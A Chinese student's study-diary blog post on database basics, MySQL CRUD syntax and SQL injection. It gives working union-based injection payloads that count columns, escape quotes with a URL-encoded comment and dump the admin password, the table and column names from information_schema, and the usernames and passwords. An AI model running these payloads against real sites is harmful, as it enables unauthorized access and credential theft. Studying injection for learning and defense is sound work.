寒假学web--day07
简介
今天学习了一些数据库基础和sql注入
什么是sql
sql是一种数据库操作语言,可以快速实现数据的增删改查
create delete update read
CURD操作就是指对数据的增删改查
数据库
关系型数据库
所有的数据按表格形式存放
常见的有:
Oracle
Mysql/MariaDB
SQLServer
Access mdb文件
Sqlite qq的聊天记录就会存放在本地的sqlite数据库中
非关系型数据库
Membase
MongoDB
sql注入学习
环境
以Mysql/MariaDB为主
使用软件navicat
mysql语法
表名为user,存在字段id,username,password
查
select username from user;
select * from user;
增
insert in to user (username,password) values('abc','null');
改
update user set password = ‘123456’ where username = 'abc'l
删
delete from user where id=4;
使用php搭建一个简单的博客网站,连接数据库,实现增删改查功能
待复现......
sql注入
通过控制传入的参数去控制sql语句,进而实现增删改查
数字型注入和union注入
联合查询时,union前后的语句查询的列数要相同,否则会报错,利用这点,我们可以猜出列数
例如:
?id=1 union select 1
如果报错
?id=1 union select 1,2
还报错
?id=1 union select 1,2.3
如果不报错了,就说明有3列
再配合limit来查数据
比如:
?id=1 union select 1,2,3 limit 1,2
在我们找到回显点之后,就可以替换占位的123,来显示敏感信息
比如
?id=1 union select 1,(user()),3 limit 1,2
?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2
字符型注入
前面数字型的查询语句为
selcet username,password from user where id=1;
而字符型的是
select id,title,content from page where id='1';
如果我们还像字符型那样给id传参,就会被包裹在''内,无法执行sql语句,所以我们需要逃逸出来
比如?id=1' union .... #
现在查询语句就变成了
select id,title,content from page where id='1' union .... #';
前面用引号闭合,后面用注释符注释掉后面的引号,hackbar中不能直接提交#,需要url编码成%23
这是单引号的情况,也有可能是双引号,简单测试一下就行
查所有表
?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,2%23
查所有列
?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),3 limit 1,2%23
查内容
?id=1' union select 1,(select group_concat(username,'-',password) from user),3 limit 1,2%23

浙公网安备 33010602011771号